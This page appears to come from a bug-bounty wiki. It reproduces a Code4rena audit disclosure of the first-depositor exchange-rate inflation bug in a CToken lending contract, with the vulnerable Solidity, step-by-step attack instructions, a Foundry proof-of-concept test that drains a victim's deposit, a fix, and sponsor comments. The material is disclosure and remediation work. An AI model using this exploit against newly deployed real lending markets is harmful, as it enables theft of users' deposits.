First Deposit Bug
The first depositor of a new CToken market can mint a tiny amount and then donate underlying tokens directly to the contract, inflating the exchange rate so that later depositors receive zero CTokens. The attacker can then redeem their single CToken for the entire balance, stealing all subsequent deposits.
Originally disclosed on Code4rena
Submitted by AkshaySrivastav
The CToken is a yield bearing asset which is minted when any user deposits some units of underlying tokens. The amount of CTokens minted to a user is calculated based upon the amount of underlying tokens user is depositing.
As per the implementation of CToken contract, there exists two cases for CToken amount calculation:
- First deposit - when
CToken.totalSupply()is0. - All subsequent deposits.
Here is the actual CToken code (extra code and comments clipped for better reading):
function exchangeRateStoredInternal() internal view virtual returns (uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
return initialExchangeRateMantissa;
} else {
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves = totalCash +
totalBorrows -
totalReserves;
uint exchangeRate = (cashPlusBorrowsMinusReserves * expScale) /
_totalSupply;
return exchangeRate;
}
}
function mintFresh(address minter, uint mintAmount) internal {
// ...
Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});
uint actualMintAmount = doTransferIn(minter, mintAmount);
uint mintTokens = div_(actualMintAmount, exchangeRate);
totalSupply = totalSupply + mintTokens;
accountTokens[minter] = accountTokens[minter] + mintTokens;
}
The Bug
The above implementation contains a critical bug which can be exploited to steal funds of initial depositors of a freshly deployed CToken contract.
As the exchange rate is dependent upon the ratio of CToken’s totalSupply and underlying token balance of CToken contract, the attacker can craft transactions to manipulate the exchange rate.
Steps to attack:
-
Once the CToken has been deployed and added to the lending protocol, the attacker mints the smallest possible amount of CTokens.
-
Then the attacker does a plain
underlyingtoken transfer to the CToken contract, artificially inflating theunderlying.balanceOf(CToken)value.Due to the above steps, during the next legitimate user deposit, the
mintTokensvalue for the user will become less than1and essentially be rounded down to0by Solidity. Hence the user gets0CTokens against his deposit and the CToken’s entire supply is held by the Attacker. -
The Attacker can then simply
redeemhis CToken balance for the entireunderlyingtoken balance of the CToken contract.
The same steps can be performed again to steal the next user’s deposit.
It should be noted that the attack can happen in two ways:
- The attacker can simply execute Step 1 and 2 as soon as the CToken gets added to the lending protocol.
- The attacker watches the pending transactions of the network and frontruns the user’s deposit transaction by executing Step 1 and 2 and then backruns it with Step 3.
Impact
A sophisticated attack can impact all user deposits until the lending protocols owners and users are notified and contracts are paused. Since this attack is a replicable attack, it can be performed continuously to steal the deposits of all depositors that try to deposit into the CToken contract.
The loss amount will be the sum of all deposits done by users into the CToken multiplied by the underlying token’s price.
Suppose there are 10 users and each of them tries to deposit 1,000,000 underlying tokens into the CToken contract. Price of underlying token is $1.
Total loss (in $) = $10,000,000
Proof of Concept
New test case was added to forge-tests/lending/fToken/fDAI.t.sol
function test_bug_firstMintIssue() public {
address attacker = alice;
seedUserDAI(attacker, 2_000_000e18);
seedUserDAI(bob, 1_000_000e18);
assertEq(fDAI.exchangeRateStored(), 2e26);
assertEq(fDAI.totalSupply(), 0);
assertEq(fDAI.balanceOf(attacker), 0);
vm.prank(attacker);
DAI.approve(address(fDAI), type(uint256).max);
vm.prank(attacker);
fDAI.mint(2e8);
assertEq(fDAI.balanceOf(attacker), 1);
assertEq(fDAI.totalSupply(), 1);
vm.prank(bob);
DAI.approve(address(fDAI), type(uint256).max);
// Front-running
vm.prank(attacker);
DAI.transfer(address(fDAI), 1_000_000e18);
assertEq(fDAI.getCash(), 1_000_000e18 + 2e8);
vm.prank(bob);
fDAI.mint(1_000_000e18);
assertEq(fDAI.balanceOf(bob), 0);
assertEq(fDAI.totalSupply(), 1);
vm.prank(attacker);
fDAI.redeem(1);
assertEq(DAI.balanceOf(attacker), 3_000_000e18);
assertEq(fDAI.totalSupply(), 0);
}
The Fix
The fix to prevent this issue would be to enforce a minimum deposit that cannot be withdrawn. This can be done by minting a small amount of CToken units to 0x00 address on the first deposit.
function mintFresh(address minter, uint mintAmount) internal {
// ...
Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});
uint actualMintAmount = doTransferIn(minter, mintAmount);
uint mintTokens = div_(actualMintAmount, exchangeRate);
/// THE FIX
if (totalSupply == 0) {
totalSupply = 1000;
accountTokens[address(0)] = 1000;
mintTokens -= 1000;
}
totalSupply = totalSupply + mintTokens;
accountTokens[minter] = accountTokens[minter] + mintTokens;
// ...
}
Instead of a fixed 1000 value an admin controlled parameterized value can also be used to control the burn amount on a per CToken basis.
ali2251 (Ondo Finance) confirmed
ypatil12 (Ondo Finance) commented:
This is a bug, we get around this operationally by minting fTokens and burning when initializing the market. See our proposal here.
Leaving as Medium severity as likelihood is low but potential impact is high + sponsor found it valuable.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The exchange rate calculation uses the contract's token balance, which can be inflated by direct transfers, and the first deposit does not lock any minimum supply, allowing rounding down of subsequent deposits to zero.
Impact
All user deposits into the CToken can be stolen repeatedly until the protocol is paused, with the loss equal to the sum of all deposits multiplied by the token price.
What the attacker needed
CToken market is newly deployed with zero supply; Attacker has a small amount of underlying tokens; Attacker can front-run or act before first legitimate…
The fix
The fix is to enforce a minimum deposit that cannot be withdrawn, for example by minting a small amount of CTokens to the zero address on the first deposit.
How it was found
- Attacker mints the smallest possible amount of CTokens when the market is new.
- Attacker transfers underlying tokens directly to the CToken contract, inflating its balance.
- A legitimate user deposits, but their mintTokens rounds down to zero due to the inflated exchange rate.
- Attacker redeems their single CToken for the entire underlying balance, stealing the user's deposit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you deposit money into a lending contract, you get shares (CTokens) in return. The number of shares you get depends on the total value already in the contract divided by the total shares. If an attacker makes the first tiny deposit and then sends a large amount of money directly to the contract without getting shares, the share price becomes huge. The next person's deposit is so small compared to the share price that it rounds down to zero shares, so their money is effectively stolen by the attacker.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.